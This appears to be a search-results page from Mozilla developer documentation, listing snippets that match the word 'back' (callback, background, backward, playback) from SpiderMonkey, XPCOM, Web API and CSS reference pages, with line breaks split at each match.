back syntax typedef void (*jstracenameprinter)(jstracer *trc, char *buf, size_t bufsize); name type description trc jstracer * the tracer.
...the call
back stores a string describing the reference traced in buf.
...And 2 more matches
JS_SetOptions
mxr id search for jsoption_atline jsoption_xml obsolete since jsapi 15 ecmascript for xml (e4x) support: parse <!-- --> as a token, not
backward compatible with the comment-hiding hack used in html script tags.
... mxr id search for jsoption_allow_xml jsoption_moar_xml added in spidermonkey 15 ecmascript for xml (e4x) support: parse <!-- --> as a token, not
backward compatible with the comment-hiding hack used in html script tags.
... mxr id search for jsoption_moar_xml jsoption_native_branch_call
back the branch call
back set by js_setbranchcall
back may be called with a null script parameter, by native code that loops intensively.
...And 2 more matches
SpiderMonkey 1.8.7
many jsapi types, functions, and call
back signatures have changed, though most of them still have the same names and do the same things.
... js_getcompartmentprivate js_getemptystring js_getflatstringchars js_getgcparameter js_getgcparameterforthread js_getglobalforscopechain js_getinternedstringchars js_getinternedstringcharsandlength js_getownpropertydescriptor js_getpropertyattrsgetterandsetterbyid js_getpropertybyid js_getpropertybyiddefault js_getpropertydefault js_getpropertydescriptorbyid js_getruntimesecuritycall
backs js_getsecuritycall
backs js_getstringcharsandlength js_getstringcharsz js_getstringcharszandlength js_getstringencodinglength js_haspropertybyid js_initctypesclass js_internjsstring js_isconstructing_possiblywithgiventhisobject js_isextensible js_isinrequest js_leavecrosscompartmentcall js_lookuppropertybyid js_lookuppropertywithflagsbyid js_new js_newcompartmentandglobalobject j...
... jsautorequest jsautosuspendrequest jsautocheckrequest jsautoentercompartment js::anchor<> js::call obsolete apis js_clearnewbornroots js_enterlocalrootscope js_leavelocalrootscope js_leavelocalrootscopewithresult js_forgetlocalroot js_newgrowablestring deleted apis js_getscopechain use js_getglobalforscopechain api changes operation call
back js_setoperationcall
back was introduced in js 1.8.0, replacing the branch call
back, in anticipation of the addition of the tracing jit (tracemonkey).
...And 2 more matches
SpiderMonkey 38
many jsapi types, functions, and call
back signatures have changed, though most functions that have changed still have the same names and implement essentially unchanged functionality.
...value (bug 959787) jsconstintegerspec (bug 1066020) jsid_is_symbol (bug 645416) jsid_to_symbol (bug 645416) jsprop_define_late (bug 825199) jsprop_ignore_enumerate (bug 1037770) jsprop_ignore_permanent (bug 1037770) jsprop_ignore_readonly (bug 1037770) jsprop_ignore_value (bug 1037770) jsprop_propop_accessors (bug 1088002) jsprop_redefine_nonconfigurable (bug 1101123) js_addfinalizecall
back (bug 996785) js_defineconstintegers (bug 1066020) js_getflatstringcharat (bug 1034627) js_getfunctionscript (bug 1069694) js_getlatin1flatstringchars (bug 1037869) js_getlatin1internedstringchars (bug 1037869) js_getlatin1stringcharsandlength (bug 1032726) js_getstringcharat (bug 1034627) js_gettwobyteexternalstringchars (bug 1034627) js_gettwobyteflatstringchars (bug 1037869) js_gettwo...
...byteinternedstringchars (bug 1037869) js_gettwobytestringcharsandlength (bug 1032726) js_newplainobject (bug 1125356) js_removefinalizecall
back (bug 996785) js_self_hosted_sym_fn (bug 1082672) js_sym_fn (bug 1082672) js_sym_fnspec (bug 1082672) js_stringhaslatin1chars (bug 1032726) js_stringisflat (bug 1037869) js_stringtoid (bug 959787) propertydefinitionbehavior (bug 825199) symbol_to_jsid (bug 645416) obsolete apis ...
...And 2 more matches
Using the Places history service
to maintain
backwards compatibility, each version has implemented the older interfaces, resulting in functionality spread across many interfaces.
...s "@mozilla.org/browser/nav-history-service;1": var historyservice = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsinavhistoryservice); it also responds to the old contract id for url bar autocomplete "@mozilla.org/autocomplete/search;1?name=history" and the contract id for the old history system (since it is
backwards-compatible) "@mozilla.org/browser/global-history;2".
...it is designed for people writing synchronizing or
backup services that need access to all the flags.
...And 2 more matches
Components.utils.exportFunction
allowcall
backs: deprecated/redundant from firefox 34.
... this option allows the exported function to accept call
backs as arguments.
...from firefox 34 onwards this option has no effect: the exported function is always able to accept call
backs as arguments.
...And 2 more matches
mozIColorAnalyzer
toolkit/components/places/mozicoloranalyzer.idlscriptable provides methods to analyze colors in an image 1.0 66 introduced gecko 17.0 inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) method overview void findrepresentativecolor(in nsiuri imageuri, in mozirepresentativecolorcall
back call
back); methods findrepresentativecolor() given an image uri, find the most representative color for that image based on the frequency of each color.
...it avoids the
background color if it can be discerned and ignores sufficiently transparent colors.
...void findrepresentativecolor( in nsiuri imageuri, in mozirepresentativecolorcall
back call
back ); parameters imageuri a uri pointing to the image - ideally a data: uri, but any scheme that will load when setting the src attribute of a dom img element should work.
...And 2 more matches
nsIDocShell
override that character set for documents for which the specified fall
back or auto-detected character set is incorrect.
... overriding the character set also sets the fall
back encoding for the container frame.
... enumerate_
backwards 1 used by getdocshellenumerator()to determine the direction of the enumeration.
...And 2 more matches
nsIFaviconService
e(in nsiuri apageuri); obsolete since gecko 22.0 nsiuri getfaviconlinkforicon(in nsiuri afaviconuri); boolean isfailedfavicon(in nsiuri afaviconuri); void removefailedfavicon(in nsiuri afaviconuri); void setandloadfaviconforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacall
back acall
back); obsolete since gecko 22.0 void setfavicondata(in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, in prtime aexpiration); obsolete since gecko 22.0 void setfavicondatafromdataurl(in nsiuri afaviconuri, in astring adataurl, in prtime aexpiration); obsolete since gecko 22.0 void setfavico...
...if you pass an icon uri that we've never seen, you'll get
back a uri that references an invalid icon.
...if you pass an icon uri that we've never seen, you'll get
back a uri that references an invalid icon.
...And 2 more matches
nsILocalFileMac
obsolete since gecko 1.9.2 boolean ispackage(); void launchwithdoc(in nsilocalfile adoctoload, in boolean alaunchin
background); void opendocwithapp(in nsilocalfile aapptoopenwith, in boolean alaunchin
background); void setfiletypeandcreatorfromextension(in string aextension); obsolete since gecko 1.9.2 void setfiletypeandcreatorfrommimetype(in string amimetype); obsolete since gecko 1.9.2 attributes attribute type description bundledisplayname astring returns the display name of the application bundle...
...void launchwithdoc( in nsilocalfile adoctoload, in boolean alaunchin
background ); parameters adoctoload must not be null.
...alaunchin
background true if the application should not come to the front.
...And 2 more matches
nsIMsgWindow
method overview void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stopurls(); void closewindow(); attributes attribute type description windowcommands nsimsgwindowcommands this allows the
backend code to send commands to the ui, such as clearmsgpane.
... statusfeed
back nsimsgstatusfeed
back this allows the
backend code to send status feed
back to the ui.
... msgheadersink nsimsgheadersink this allows the
backend code to send message header information to the ui.
...And 2 more matches
nsINavBookmarksService
void removefolder(in long long afolder); obsolete since gecko 2.0 void removefolderchildren(in long long aitemid); void removeitem(in long long aitemid); void removeobserver(in nsinavbookmarkobserver observer); void replaceitem(in print64 folder, in nsiuri item, in nsiuri newitem); obsolete since gecko 1.9 void runinbatchmode(in nsinavhistorybatchcall
back acall
back, in nsisupports auserdata); void setfolderreadonly(in long long afolder, in boolean areadonly); void setfoldertitle(in print64 folder, in astring title); obsolete since gecko 1.9 void setitemdateadded(in long long aitemid, in prtime adateadded); void setitemguid(in long long aitemid, in astring aguid); obsolete since gecko 14.0 void setit...
... runinbatchmode() this method runs the passed call
back in batch mode (inside a database transaction).
... void runinbatchmode( in nsinavhistorybatchcall
back acall
back, in nsisupports auserdata ); parameters acall
back nsinavhistorybatchcall
back interface to call.
...And 2 more matches
nsIWebNavigation
method overview void go
back void goforward void gotoindex( in long index ) void loaduri(in wstring uri , in unsigned long loadflags , in nsiuri referrer , in nsiinputstream postdata, in nsiinputstream headers) void reload(in unsigned long reloadflags) void stop(in unsigned long stopflags) constants load flags constant value description load_flags...
... attributes attribute type description cango
back prbool indicates if the object can go
back.
... if true this indicates that there is
back session history available for navigation.
...And 2 more matches
Index
these pages document thunderbird and the mailnews
backend which is also used in other projects such as seamonkey and postbox.
...
back 0.9.7, we hit a wall with the compose window.
...see the gloda page for
background on the component.
...And 2 more matches
Working with windows in chrome code
to overcome this difficulty, you can move the initialization code to a load handler of the window being opened or pass a call
back function, as described below.
...you can find the window's opener using its window.opener property or via a call
back function passed to the window in a way described in the previous section.
... if we're sure the window that opened the progress dialog declares the canceloperation function, we can use window.opener.canceloperation() to notify it, like this: <button label="cancel" oncommand="opener.canceloperation(); close();" /> using a call
back function.
...And 2 more matches
Using COM from js-ctypes
__stdcall and __cdecl needs __stdcall and __cdecl (call
back_abi) description here.
...ruct myispvoicevtbl; struct myispvoice { struct myispvoicevtbl* lpvtbl; }; struct myispvoicevtbl { /* start inherit from iunknown */ void* queryinterface; void* addref; ulong (__stdcall *release)(struct myispvoice*); /* end inherit from iunknown */ /* start inherit from ispnotifysource */ void* setnotifysink; void* setnotifywindowmessage; void* setnotifycall
backfunction; void* setnotifycall
backinterface; void* setnotifywin32event; void* waitfornotifyevent; void* getnotifyeventhandle; /* end inherit from ispnotifysource */ /* start inherit from ispeventsource */ void* setinterest; void* getevents; void* getinfo; /* end inherit from ispeventsource */ /* start ispvoice */ void* setoutput; void* getoutputob...
...ctypes.default_abi : ctypes.winapi_abi; let call
back_abi = is64bit ?
...And 2 more matches
Mozilla
creating javascript call
backs in components xpcom components use idl to create interfaces.
... js-ctypes js-ctypes allows application and extension code to call
back and forth to native code written in c.
...it is intended primarily for developers, and deliberately omits some topics that will be important in any redis deployment, like security and
backups.
...And 2 more matches
Flash Activation: Browser Comparison - Plugins
mozilla firefox google chrome microsoft edge setting name ask to activate html5 by default click-to-run 'application/x-shockwave-flash' in navigator.mimetypes by default when flash is inactive yes no no 'application/x-shockwave-flash' in navigator.mimetypes when user enables flash yes yes yes <object> with fall
back content triggers ui yes, with exceptions no yes small/hidden flash triggers additional ui yes no no enabling flash automatically reloads the page no yes yes other features related to flash domain blocking plugin power saver peripheral content pause each of the browser vendors has a roadmap about the future of flash and changes ...
...the user can click on the flash object or the location bar icon to activate flash: users have the choice to allow flash just for the current session, or to remember their choice: google chrome in-page ui is displayed when the site attempts to use flash without fall
back content: a user can click the plugin element to show a prompt for allowing flash: if the site provides fall
back content for an object element, chrome will display that content and will not prompt the user to enable flash.
...lugin = document.getelementbyid('myplugin'); plugin.height = 0; plugin.width = 0; plugin.callpluginmethod(); } the html, by default, specifies the flash object to be a size that makes it visible, like this: <!-- give the plugin an initial size so it is visible --> <object type="application/x-shockwave-flash" data="myapp.swf" id="myplugin" width="300" height="300"> <param name="call
back" value="plugincreated()"> </object> the call
back parameter defined in the html can be called in flash using its flash.external.externalinterface api.
...And 2 more matches
Plug-in Basics - Plugins
note: plug-in api calls and call
backs use the main navigator thread.
...though the object element is the preferred way to invoke plug-ins (see using the object element for plug-in display), the embed element can be used for
backward compatibility with netscape 4.x browsers, and in cases where you specifically want to prompt the user to install a plug-in, because the default plug-in is only automatically invoked when you use the embed element.
... the embed element has the following syntax and attributes: <embed src="location" type="mimetype" pluginspage="instrurl" pluginurl="pluginurl" align="left"|"right"|"top"|"bottom" border="borderwidth" frameborder="no" height="height" width="width" units="units" hidden="true|false" hspace="horizmargin" vspace="vertmargin" name="pluginname" palette="foreground"|"
background" > ...
...And 2 more matches
AudioBufferSourceNode.loopEnd - Web APIs
the loopend property of the audiobuffersourcenode interface specifies is a floating point number specifying, in seconds, at what offset into playing the audiobuffer play
back should loop
back to the time indicated by the loopstart property.
...buttons are provided to play and stop the audio play
back, and slider controls are used to change the play
backrate, loopstart and loopend properties on the fly.
...for example, if you set their values to 20 and 25, respectively, then begin play
back, the sound will play normally until it reaches the 25 second mark.
...And 2 more matches
AudioBufferSourceNode.start() - Web APIs
the start() method of the audiobuffersourcenode interface is used to schedule play
back of the audio data contained in the buffer, or to begin play
back immediately.
... offset optional an offset, specified as the number of seconds in the same time coordinate system as the audiocontext, to the time within the audio buffer that play
back should begin.
... for example, to start play
back halfway through a 10-second audio clip, offset should be 5.
...And 2 more matches
AudioContextOptions - Web APIs
properties latencyhint optional the type of play
back that the context will be used for, as a value from the audiocontextlatencycategory enum or a double-precision floating-point value indicating the preferred maximum latency of the context in seconds.
... "play
back" the user agent should select a latency that will maximize play
back time by minimizing power consumption at the expense of latency.
... useful for non-interactive play
back, such as playing music.
...And 2 more matches
CSS Painting API - Web APIs
the css painting api — part of the css houdini umbrella of apis — allows developers to write javascript functions that can draw directly into an element's
background, border, or content.
...you can then apply these values to properties like
background-image to set complex custom
backgrounds on an element.
... for example: aside {
background-image: paint(mypaintedimage); } the api defines paintworklet, a worklet that can be used to programmatically generate an image that responds to computed style changes.
...And 2 more matches
Optimizing canvas - Web APIs
for example, let's say you have a game with a ui on top, the gameplay action in the middle, and a static
background on the bottom.
...the ui would change only upon user input, the gameplay layer would change with every new frame, and the
background would remain generally unchanged.
... <div id="stage"> <canvas id="ui-layer" width="480" height="320"></canvas> <canvas id="game-layer" width="480" height="320"></canvas> <canvas id="
background-layer" width="480" height="320"></canvas> </div> <style> #stage { width: 480px; height: 320px; position: relative; border: 2px solid black; } canvas { position: absolute; } #ui-layer { z-index: 3; } #game-layer { z-index: 2; } #
background-layer { z-index: 1; } </style> use plain css for large
background images if you have a static
background image, you can draw it onto a plain <div> element using the css
background property and position it under the canvas.
...And 2 more matches
console - Web APIs
to move
back out a level, call groupend().
...to move
back out a level, call groupend().
... styling console output you can use the %c directive to apply a css style to console output: console.log("this is %cmy stylish message", "color: yellow; font-style: italic;
background-color: blue;padding: 2px"); the text before the directive will not be affected, but the text after the directive will be styled using the css declarations in the parameter.
...And 2 more matches
DataTransferItem.getAsString() - Web APIs
the datatransferitem.getasstring() method invokes the given call
back with the drag data item's string data as the argument if the item's kind is a plain unicode string (i.e.
... syntax datatransferitem.getasstring(call
back); parameters call
back a call
back function that has access to the data transfer item's string data.
... see call
back below for details.
...And 2 more matches
Document.execCommand() - Web APIs
commands
backcolor changes the document
background color.
... in stylewithcss mode, it affects the
background color of the containing block instead.
...note that internet explorer uses this to set the text
background color.
...And 2 more matches
Examples of web and XML development using the DOM - Web APIs
var ss = document.stylesheets; for(var i = 0; i < ss.length; i++) { for(var j = 0; j < ss[i].cssrules.length; j++) { dump( ss[i].cssrules[j].selectortext + "\n" ); } } for a document with a single stylesheet in which the following three rules are defined: body {
background-color: darkblue; } p { font-face: arial; font-size: 10pt; margin-left: .125in; } #lumpy { display: none; } this script outputs the following: body p #lumpy example 5: event propagation this example demonstrates how events fire and are handled in the dom in a very simple way.
... <!doctype html> <html lang="en"> <head> <title>event propagation</title> <style> #t-daddy { border: 1px solid red } #c1 {
background-color: pink; } </style> <script> function stopevent(ev) { c2 = document.getelementbyid("c2"); c2.innerhtml = "hello"; // this ought to keep t-daddy from getting the click.
...y onload="load();"> <table id="t-daddy" onclick="alert('hi');"> <tr id="tbl1"> <td id="c1">one</td> </tr> <tr> <td id="c2">two</td> </tr> </table> </body> </html> example 6: getcomputedstyle this example demonstrates how the window.getcomputedstyle method can be used to get the styles of an element that are not set using the style attribute or with javascript (e.g., elt.style.
backgroundcolor="rgb(173, 216, 230)").
...And 2 more matches
FileSystemDirectoryEntry - Web APIs
et android full support yesgetdirectory experimentalchrome full support 8edge full support 79firefox full support 50notes full support 50notes notes in firefox, the errorcall
back's input parameter is a domexception rather than a fileerror object.ie no support noopera no support nosafari full support 11.1webview android full support ≤37chrome android full support ...
... 18firefox android full support 50notes full support 50notes notes in firefox, the errorcall
back's input parameter is a domexception rather than a fileerror object.opera android no support nosafari ios full support 11.3samsung internet android full support yesgetfile experimentalchrome full support 8edge full support 79firefox full support 50notes full support 50notes notes in fire...
...fox, the errorcall
back's input parameter is a domexception rather than a fileerror object.ie no support noopera no support nosafari full support 11.1webview android full support ≤37chrome android full support 18firefox android full support 50notes full support 50notes notes in firefox, the errorcall
back's input parameter is a domexception rather than a fileerror object.opera android no support nosafari ios full support ...
...And 2 more matches
FontFace.display - Web APIs
(see below.) block period the browser invisibly prepares a fall
back font.
... swap period if the font face is still not loaded, the fall
back font will be shown.
... when the font face loads, the fall
back will be swaped for the downloaded font.
...And 2 more matches
Geolocation API - Web APIs
in both cases, the method call takes up to three arguments: a mandatory success call
back: if the location retrieval is successful, the call
back executes with a geolocationposition object as its only parameter, providing access to the location data.
... an optional error call
back: if the location retrieval is unsuccessful, the call
back executes with a geolocationpositionerror object as its only parameter, providing access information on what went wrong.
...a geolocationposition instance is returned by a successful call to one of the methods contained inside geolocation, inside a success call
back, and contains a timestamp plus a geolocationcoordinates object instance.
...And 2 more matches
HTMLMediaElement.autoplay - Web APIs
the htmlmediaelement.autoplay property reflects the autoplay html attribute, indicating whether play
back should automatically begin as soon as enough media is available to do so without interruption.
... a media element whose source is a mediastream and whose autoplay property is true will begin play
back when it becomes active (that is, when mediastream.active becomes true).
... syntax htmlmediaelement.autoplay = true | false; var autoplay = htmlmediaelement.autoplay; value a boolean whose value is true if the media element will begin play
back as soon as enough content has loaded to allow it to do so without interruption.
...And 2 more matches
History API - Web APIs
it exposes useful methods and properties that let you navigate
back and forth through the user's history, and manipulate the contents of the history stack.
... concepts and usage moving
backward and forward through the user's history is done using the
back(), forward(), and go() methods.
... moving forward and
backward to move
backward through history: window.history.
back() this acts exactly as if the user clicked on the
back button in their browser toolbar.
...And 2 more matches
install - Web APIs
method of installtrigger object syntax int install(array xpilist [, function call
backfunc ] ) parameters the install method has the following parameters: xpilist an array of files to be installed (see example below).
... call
backfunc an optional call
back function invoked when the installation is complete (see example below).
... firefox 3 note in firefox 3 the call
back is no longer invoked unless the website performing the installation is whitelisted.
...And 2 more matches
KeyboardEvent.code - Web APIs
handle keyboard events in a game this example establishes an event listener for keydown events that handle keyboard input for a game that uses the typical "wasd" keyboard layout for steering forward, left,
backward, and right.
... html <p>use the wasd (zqsd on azerty) keys to move and steer.</p> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" class="world"> <polygon id="spaceship" points="15,0 0,30 30,30"/> </svg> <script>refresh();</script> css .world { margin: 0px; padding: 0px;
background-color: black; width: 400px; height: 400px; } #spaceship { fill: orange; stroke: red; stroke-width: 2px; } javascript the first section of the javascript code establishes some variables we'll be using.
...moverate and turnrate are the number of pixels forward and
backward each keystroke moves the ship and how many degrees of rotation the left and right steering controls apply per keystroke.
...And 2 more matches
MediaPositionState - Web APIs
the media session api's mediapositionstate dictionary is used to represent the current play
back position of a media session.
... its contents can be used by the user agent to provide a user interface displaying information about the play
back position and duration of the media currently being performed.
... play
backrate a floating-point value indicating the rate at which the media is being played, as a ratio relative to its normal play
back speed.
...And 2 more matches
MediaQueryList.removeListener() - Web APIs
this is basically an alias for eventtarget.removeeventlistener(), for
backwards compatibility purposes — in older browsers you could use removeeventlistener() instead.
... syntax mediaquerylist.removelistener(func) parameters func a function or function reference representing the call
back function you want to remove.
... in the original implementation, the call
back was a non-standard mediaquerylistlistener object.
...And 2 more matches
MediaQueryList - Web APIs
addlistener() adds to the mediaquerylist a call
back which is invoked whenever the media query status—whether or not the document matches the media queries in the list—changes.
... this method exists primarily for
backward compatibility; if possible, you should instead use addeventlistener() to watch for the change event.
... removelistener() removes the specified listener call
back from the call
backs to be invoked when the mediaquerylist changes media query status, which happens any time the document switches between matching and not matching the media queries listed in the mediaquerylist.
...And 2 more matches
MediaSession - Web APIs
the mediasession interface of the media session api allows a web page to provide custom behaviors for standard media play
back interactions, and to report metadata that can be sent by the user agent to the device or operating system for presentation in standardized user interface elements.
... play
backstate indicates whether the current media session is playing.
... setpositionstate() sets the current play
back position and speed of the media currently being presented.
...And 2 more matches
Node - Web APIs
*/ removeallchildren(document.body) recurse through child nodes the following function recursively calls a call
back function for each node contained by a root node (including the root itself): function eachnode(rootnode, call
back) { if (!call
back) { const nodes = [] eachnode(rootnode, function(node) { nodes.push(node) }) return nodes } if (false === call
back(rootnode)) { return false } if (rootnode.haschildnodes()) { const nodes = rootnode.childnodes for (let i = 0, l = nodes.length...
...; i < l; ++i) { if (false === eachnode(nodes[i], call
back)) { return } } } } syntax eachnode(rootnode, call
back) description recursively calls a function for each descendant node of rootnode (including the root itself).
... if call
back is omitted, the function returns an array instead, which contains rootnode and all nodes contained within.
...And 2 more matches
Using the Payment Request API - Web APIs
// if paymentrequest fails, should the page fall
back to manual // web form checkout?
...let shouldcallpaymentrequest = true; let fall
backtolegacyonpaymentrequestfailure = false; (new paymentrequest(supportedpaymentmethods, {total: {label: 'stub', amount: {currency: 'usd', value: '0.01'}}}) .canmakepayment() .then(function(result) { shouldcallpaymentrequest = result; }).catch(function(error) { console.log(error); // the user may have turned off query ability in their privacy settings.
... // let's use paymentrequest by default and fall
back to legacy // web form based checkout.
...And 2 more matches
PerformanceObserver() - Web APIs
the performanceobserver() constructor creates a new performanceobserver object with the given observer call
back.
... the observer call
back is invoked when performance entry events are recorded for the entry types that have been registered, via the observe() method.
... syntax var observer = new performanceobserver(call
back); parameters call
back a performanceobservercall
back call
back that will be invoked when observed performance events are recorded.
...And 2 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
allowkeyboardmotion if true, the w, a, s, and d keys move the viewer forward, left,
backward, and to the right, while the up and down arrow keys move up and down.
... the s key slides the viewer
backward move_distance.
... drawing a frame our call
back for xrsession.requestanimationframe() is implemented in the drawframe() function shown below.
...And 2 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
this means that most frequently, you'll be using poses within your frame rendering code, which is executed as a call
back from the xrframe method requestanimationframe().
... the only way to obtain a pose that adapts positional information from one space to another is through the xrframe object received by your frame rendering call
back function specified when you called the xrsession method requestanimationframe().
... for example, given an xrsession whose reference space is worldrefspace, the following line of code would request the first frame of animation to be scheduled: animationframerequestid = xrsession.requestanimationframe(mydrawframe); then, the mydrawframe() function—the call
back executed when it's time to draw the frame—might be something like this: function mydrawframe(currentframetime, frame) { let session = frame.session; let viewerpose = frame.getviewerpose(viewerrefspace); animationframerequestid = session.requestanimationframe(mydrawframe); if (viewerpose) { /* ...
...And 2 more matches
Web Authentication API - Web APIs
in their most basic forms, both create() and get() receive a very large random number called a challenge from the server and they return the challenge signed by the private key
back to the server.
...the public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated
back to a root of trust.
...the publickeycredential is sent
back to the server using any desired formatting and protocol (note that the arraybuffer properties need to be be base64 encoded or similar).
...And 2 more matches
Window.requestFileSystem() - Web APIs
window.requestfilesystem(type, size, successcall
back[, errorcall
back]); parameters type the type of storage to request.
... successcall
back a function which is invoked when the file system has been successfully obtained.
... the call
back receives a single parameter: a filesystem object representing the file system the app has permission to use.
...And 2 more matches
Architecture - Accessibility
they are kept in iaccessible2 for
backward compatibility with msaa clients that expect text in leaf nodes.
...keeping the link name of the interface is unfortunate but necessary for
backwards compatibility, without introducing superfluous interfaces.
...this is done for
backward compatibility with older msaa clients which didn't have access to a text interface.
...And 2 more matches
Using feature queries - CSS: Cascading Style Sheets
all browsers support display, as display: block dates
back to css1.
...we can't create a fall
back by checking for browsers which do not have support, as ie11 doesn't support feature queries either!
...we can set the width
back to auto if grid is supported.
...And 2 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this set uses: fall
backs using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari, chrome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers.
... values: nowrap (default) | wrap | wrap-reverse spec: https://drafts.csswg.org/css-flexbox/#flex-wrap-property @mixin flex-wrap($value: nowrap) { // no webkit/ff box fall
back.
... values: row (default) | nowrap spec: https://drafts.csswg.org/css-flexbox/#flex-flow-property @mixin flex-flow($values: (row nowrap)) { // no webkit/ff box fall
back.
...And 2 more matches
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
you might however want to use flexbox as a fall
back for grid layout, as there is better support for flexbox in older browsers.
... you can use the box alignment properties across both layout methods, so using flexbox as a fall
back for grid layout can work very well.
...you can see that as i have used a direct child selector to add the
background and borders to the flex items, this has not been applied to our nested children.
...And 2 more matches
CSS values and units - CSS: Cascading Style Sheets
for example, if you wanted to include a
background image, you might use either of the following.
... .box {
background-image: url("images/my-
background.png"); } .box {
background-image: url("https://www.exammple.com/images/my-
background.png"); } the parameter for url() can be either quoted or unquoted.
...it's
background color), and is defined in the css color module.
...And 2 more matches
Layout and the containing block - CSS: Cascading Style Sheets
<body> <section> <p>this is a paragraph!</p> </section> </body> body {
background: beige; } section { display: block; width: 400px; height: 160px;
background: lightgray; } p { width: 50%; /* == 400px * .5 = 200px */ height: 25%; /* == 160px * .25 = 40px */ margin: 5%; /* == 400px * .05 = 20px */ padding: 5%; /* == 400px * .05 = 20px */
background: cyan; } example 2 in this example, the paragraph's containing block is the <body> element, bec...
... <body> <section> <p>this is a paragraph!</p> </section> </body> body {
background: beige; } section { display: inline;
background: lightgray; } p { width: 50%; /* == half the body's width */ height: 200px; /* note: a percentage would be 0 */
background: cyan; } example 3 in this example, the paragraph's containing block is <section> because the latter's position is absolute.
... <body> <section> <p>this is a paragraph!</p> </section> </body> body {
background: beige; } section { position: absolute; left: 30px; top: 30px; width: 400px; height: 160px; padding: 30px 20px;
background: lightgray; } p { position: absolute; width: 50%; /* == (400px + 20px + 20px) * .5 = 220px */ height: 25%; /* == (160px + 30px + 30px) * .25 = 55px */ margin: 5%; /* == (400px + 20px + 20px) * .05 = 22px */ padding: 5%; /* == (400px + 20px + 20px) * .05 = 22px */
background: cyan; } example 4 in this example, the paragraph's position is fixed, so its containing...
...And 2 more matches
Testing media queries programmatically - CSS: Cascading Style Sheets
to do this, call the addlistener() method on the mediaquerylist object, with a call
back function to invoke when the media query status changes (e.g., the media query test goes from true to false): // create the query list.
... const mediaquerylist = window.matchmedia("(orientation: portrait)"); // define a call
back function for the event listener.
...handleorientationchange(mediaquerylist); // add the call
back function as a listener to the query list.
...And 2 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
a -webkit-animation-trigger -webkit-app-region -webkit-appearance* -webkit-aspect-ratio b -webkit-
backdrop-filter -webkit-
background-composite -webkit-border-after** -webkit-border-after-color** -webkit-border-after-style** -webkit-border-after-width** -webkit-border-before** -webkit-border-before-color** -webkit-border-before-style** -webkit-border-before-width** -webkit-border-end** -webkit-border-end-color** -webkit-border-end-style** -webkit-border-end-width** -webkit-border-fit ...
... a -webkit-align-content -webkit-align-items -webkit-align-self -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function b -webkit-
backface-visibility -webkit-
background-clip -webkit-
background-origin -webkit-
background-size -webkit-border-bottom-left-radius -webkit-border-bottom-right-radius -webkit-border-image -webkit-border-radius -webkit-border-top-left-radius -webkit-border-top-right-radius -webkit-box-decoration-break -webkit-box-shadow -webkit-box-sizing c -webkit-clip-path -webkit-column-count -webkit-...
... a -webkit-align-content -webkit-align-items -webkit-align-self -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function -webkit-appearance* b -webkit-
backface-visibility -webkit-
background-clip -webkit-
background-origin -webkit-
background-size -webkit-border-bottom-left-radius -webkit-border-bottom-right-radius -webkit-border-image -webkit-border-radius -webkit-box-align**, *** -webkit-box-direction**, *** -webkit-box-flex**, *** -webkit-box-orient**, *** -webkit-box-pack**, *** -webkit-box-shadow -webkit-box-sizing -webkit-border-to...
...And 2 more matches
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
lack; -moz-appearance: caret; -webkit-appearance: caret; } <div>lorem</div> firefox chrome safari edge checkbox-container div { color: black; -moz-appearance: checkbox-container; -webkit-appearance: checkbox-container; } <div>lorem</div> firefox the element is drawn like a container for a checkbox, which may include a prelighting
background effect under certain platforms.
...tton div{ color: black; -moz-appearance: media-return-to-realtime-button; -webkit-appearance: media-return-to-realtime-button; } <div>lorem</div> safari media-rewind-button div{ color: black; -moz-appearance: media-rewind-button; -webkit-appearance: media-rewind-button; } <div>lorem</div> safari media-seek-
back-button div{ color: black; -moz-appearance: media-seek-
back-button; -webkit-appearance: media-seek-
back-button; } <div>lorem</div> safari edge media-seek-forward-button div{ color: black; -moz-appearance: media-seek-forward-button; -webkit-appearance: media-seek-forward-button; } <div>lorem</div> safari edge ...
... <div>lorem</div> safari media-volume-slider div{ color: black; -webkit-appearance: media-volume-slider; } <div>lorem</div> chrome safari media-volume-sliderthumb div{ color: black; -webkit-appearance: media-volume-slider-thumb; } <div>lorem</div> chrome safari media-controls-
background div{ color: black; -webkit-appearance: media-controls-
background; } <div>lorem</div> chrome safari media-controls-dark-bar-
background div{ color: black; -moz-appearance: media-controls-dark-bar-
background; -webkit-appearance: media-controls-dark-bar-
background; } <div>lorem</div> safari media-control...
...And 2 more matches
<position> - CSS: Cascading Style Sheets
it is used in the
background-position and offset-anchor properties.
...| [ [ left | right ] [ <length> | <percentage> ] ] && [ [ top | bottom ] [ <length> | <percentage> ] ] ] note: the
background-position property also accepts a three-value syntax.
... candidate recommendation relists links to both definitions: if css
backgrounds and borders module level 3 is supported, its definition of <position> must also be used.
...And 2 more matches
<string> - CSS: Cascading Style Sheets
all characters can also be represented with their respective unicode code points in hexadecimal, in which case they are preceded by a
backslash (\).
